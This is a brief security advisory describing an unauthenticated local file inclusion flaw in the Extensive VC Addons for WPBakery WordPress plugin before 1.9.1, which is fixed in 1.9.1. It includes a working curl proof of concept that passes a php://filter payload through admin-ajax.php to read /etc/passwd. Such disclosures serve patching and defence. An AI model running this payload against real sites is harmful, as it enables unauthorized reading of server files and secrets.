Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated LFI

Description

The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system.

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' \
    -d 'action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=/etc/passwd' 

Affects Plugins

Fixed in version 1.9.1
